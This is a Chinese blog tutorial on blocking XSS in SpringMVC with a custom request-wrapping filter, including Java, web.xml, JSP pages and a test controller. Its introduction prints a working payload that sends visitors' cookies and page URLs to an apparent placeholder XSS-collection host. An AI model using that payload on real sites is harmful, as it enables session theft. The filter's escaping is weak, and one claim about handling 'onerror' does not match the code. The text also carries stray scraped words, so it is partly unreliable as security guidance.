在SpringMVC中使用過濾器(Filter)過濾容易引起XSS的危險字符

一 簡介

如題所示,若是不在服務端對用戶的輸入信息進行過濾,而後該參數又直接在前臺頁面中展現,毫無疑問將會容易引起XSS***(跨站腳本***),好比說這樣:javascript

form表單中有這麼一個字段:php

<input type="text" id="author" name="author" placeholder="暱稱" />

而後潛在***者在該字段上填入如下內容:html

<script>alert('XSS')</script>

緊接着服務端忽略了「一切來至其餘系統的數據都存在安全隱患」的原則,並無對來至用戶的數據進行過濾,致使了直接在前臺頁面中進行展現。很顯然直接彈窗了:java

wKioL1hHf4Px53GGAAA-9cgWE1M461.png

固然,這裏僅僅只是一個無傷大雅的彈窗,若是是惡意的***者呢?他可能會利用這個漏洞盜取cookie、篡改網頁,甚至是配合CSRF漏洞僞造用戶請求,造成大規模爆發的蠕蟲病毒等等。web

好比說遠程加載這麼一個js將會致使用戶的cookie被竊取:正則表達式

(function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

而後將能夠在本身搭建的XSS平臺中收到信息,好比像這樣:
spring

wKiom1hHf7HicAJ4AAA6kVLuM0s231.png

注:由於我在這個demo程序裏沒有設置cookie,所以cookie那一欄顯示爲空白apache

固然,值得慶幸的是,像國內一些主流的瀏覽器(如:360瀏覽器、獵豹瀏覽器)對這類常見的XSS payload都進行了過濾,查看網頁源代碼能夠發現這些危險的字符均使用了鮮豔的紅色字體進行了標註,同時該腳本並不能成功地執行:api

wKiom1hHf8ziHpgpAAAeB1jod0Y439.png

二 使用Filter過濾容易引起XSS的危險字符

(1)自定義一個過濾用的Filter:數組

package cn.zifangsky.filter;

import java.io.IOException;
import java.util.Enumeration;
import java.util.Map;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.filter.OncePerRequestFilter;

public class XSSFilter extends OncePerRequestFilter {
	private String exclude = null;  //不須要過濾的路徑集合
	private Pattern pattern = null;  //匹配不須要過濾路徑的正則表達式
	
	public void setExclude(String exclude) {
		this.exclude = exclude;
		pattern = Pattern.compile(getRegStr(exclude));
	}
	
	/**
	 * XSS過濾
	 */
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
			throws ServletException, IOException {
		String requestURI = request.getRequestURI();
		if(StringUtils.isNotBlank(requestURI))
			requestURI = requestURI.replace(request.getContextPath(),"");
		
		if(pattern.matcher(requestURI).matches())
			filterChain.doFilter(request, response);
		else{
			EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
			filterChain.doFilter(escapeScriptwrapper, response);
		}
	}
	
	/**
	 * 將傳遞進來的不須要過濾得路徑集合的字符串格式化成一系列的正則規則
	 * @param str 不須要過濾的路徑集合
	 * @return 正則表達式規則
	 * */
	private String getRegStr(String str){
		if(StringUtils.isNotBlank(str)){
			String[] excludes = str.split(";");  //以分號進行分割
			int length = excludes.length;
			for(int i=0;i<length;i++){
				String tmpExclude = excludes[i];
				//對點、反斜槓和星號進行轉義
				tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");

				tmpExclude = "^" + tmpExclude + "$";
				excludes[i] = tmpExclude;
			}
			return StringUtils.join(excludes, "|");
		}
		return str;
	}
	
	/**
	 * 繼承HttpServletRequestWrapper,建立裝飾類,以達到修改HttpServletRequest參數的目的
	 * */
	private class EscapeScriptwrapper extends HttpServletRequestWrapper{
		private Map<String, String[]> parameterMap;  //全部參數的Map集合
		public EscapeScriptwrapper(HttpServletRequest request) {
			super(request);
			parameterMap = request.getParameterMap();
		}
		
		//重寫幾個HttpServletRequestWrapper中的方法
		/**
		 * 獲取全部參數名
		 * @return 返回全部參數名
		 * */
		@Override
		public Enumeration<String> getParameterNames() {
			Vector<String> vector = new Vector<String>(parameterMap.keySet());
			return vector.elements();
		}
		
		/**
		 * 獲取指定參數名的值,若是有重複的參數名,則返回第一個的值
		 * 接收通常變量 ,如text類型
		 * 
		 * @param name 指定參數名
		 * @return 指定參數名的值
		 * */
		@Override
		public String getParameter(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				return escapeXSS(results[0]);
			}
		}

		/**
		 * 獲取指定參數名的全部值的數組,如:checkbox的全部數據
		 * 接收數組變量 ,如checkobx類型
		 * */
		@Override
		public String[] getParameterValues(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				int length = results.length;
				for(int i=0;i<length;i++){
					results[i] = escapeXSS(results[i]);
				}
				return results;
			}
		}
		
		/**
		 * 過濾字符串中的js腳本
		 * 解碼:StringEscapeUtils.unescapeXml(escapedStr)
		 * */
		private String escapeXSS(String str){
			str = StringEscapeUtils.escapeXml(str);
			
			Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");
			Matcher tmpMatcher = tmpPattern.matcher(str);
			if(tmpMatcher.find()){
				str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
			}
			return str;
		}
	}

}

(2)在web.xml文件中將該過濾器放在最前面或者是字符編碼過濾器以後:

	<filter>
		<filter-name>xssFilter</filter-name>
		<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>
		<init-param>
			<param-name>exclude</param-name>
			<param-value>/;/scripts/*;/styles/*;/p_w_picpaths/*</param-value>
		</init-param>
	</filter>
	<filter-mapping>
		<filter-name>xssFilter</filter-name>
		<url-pattern>*.html</url-pattern>
		<!-- 直接從客戶端過來的請求以及經過forward過來的請求都要通過該過濾器 -->
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher>
	</filter-mapping>

關於這個自定義的過濾器,我以爲有如下幾點須要簡單說明下:

i)我這裏爲了方便,沒有本身手動寫不少過濾規則,只是使用了commons-lang3-3.2.jar 這個jar包中的 StringEscapeUtils 這個方法類來進行過濾。在這個類中有如下幾種過濾方法,分別是:escapeJava、escapeEcmaScript、escapeHtml三、escapeHtml四、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。關於這幾種方法分別是如何進行過濾的能夠自行查閱官方文檔或者本身動手寫一個簡單的Demo進行測試。固然,我這裏使用的是escapeXml這個方法進行過濾

ii)由於一個web工程中一般會存在js、CSS、圖片這類靜態資源目錄的,很顯然這些目錄是不須要進行過濾的。所以我也作了這方面的處理,代碼很簡單,看看上面的例子就明白了,或者能夠看看個人這篇文章:https://www.zifangsky.cn/647.html

iii)關於「在Filter中修改HttpServletRequest中的參數」這個問題,只須要自定義一個類繼承與HttpServletRequestWrapper 這個類,而後複寫幾個方法便可。若是對這方面不太理解的同窗能夠看看個人這篇文章:https://www.zifangsky.cn/677.html

iv)在上面的過濾器中,我在escapeXSS(String str) 這個方法的後面還針對「# onerror=javascript:alert(123)」 這種語句進行了專門的過濾。不過不過濾的話問題也不大,我以爲最多就是出現個彈窗,由於把尖括號和引號都給轉義了,並不可以執行一些比較危險的操做

(3)兩個測試的前臺頁面:

i)form表單頁面input.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		Please input you want to say:
		<form action="show.html" method="post">
			<table>
				<tr>
					<td><input type="text" id="author" name="author" placeholder="暱稱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="email" name="email" placeholder="郵箱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="url" name="url"placeholder="網址"></td>
				</tr>
				<tr>
					<td><textarea name="comment" rows="5" placeholder="來都來了,何不XSS一下"></textarea></td>
				</tr>
				<tr>
					<td align="center"><input type="submit" value="Go" />
				</tr>	
			</table>
		</form>
	</div>
</body>
</html>

ii)結果顯示頁面show.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		<table>
			<tr>
				<td>暱稱:</td><td>${author}</td>
			</tr>
			<tr>
				<td>郵箱:</td><td>${email}</td>
			</tr>
			<tr>
				<td>網址:</td><td>${url}</td>
			</tr>
			<tr>
				<td>留言:</td><td>${comment}</td>
			</tr>
			<!-- <tr>
				<td><img alt="x" src=${comment}></td>
			</tr> -->
		</table>
	</div>
</body>
</html>

(4)測試用的Controller:

package cn.zifangsky.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class CommentController {
	
	/**
	 * 獲取留言並在頁面展現
	 * */
	@RequestMapping("/show.html")
	public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
			@RequestParam(name = "email", required = false) String email,
			@RequestParam(name = "url", required = false) String url,
			@RequestParam(name = "comment", required = false) String comment) {
		
		ModelAndView mAndView = new ModelAndView("show");
		mAndView.addObject("author", author);
		mAndView.addObject("email", email);
		mAndView.addObject("url", url);
		mAndView.addObject("comment", comment);
		
		return mAndView;
	}
}

這裏的代碼邏輯很簡單,所以就很少作解釋了

(5)測試:

測試的效果以下:

wKioL1hHgFLz_0yhAAAquj5BVkU078.png

對應的網頁源代碼是這樣的:

wKiom1hHgG2jmiW1AAA4tn1f65k425.png

能夠看出,咱們的目標已經成功實現了,本篇文章到此結束

PS:上面圖片中的水印是我我的博客的域名,所以還請管理員手下留情不要給我標爲「轉載文章」,謝謝!!!

相關文章
相關標籤/搜索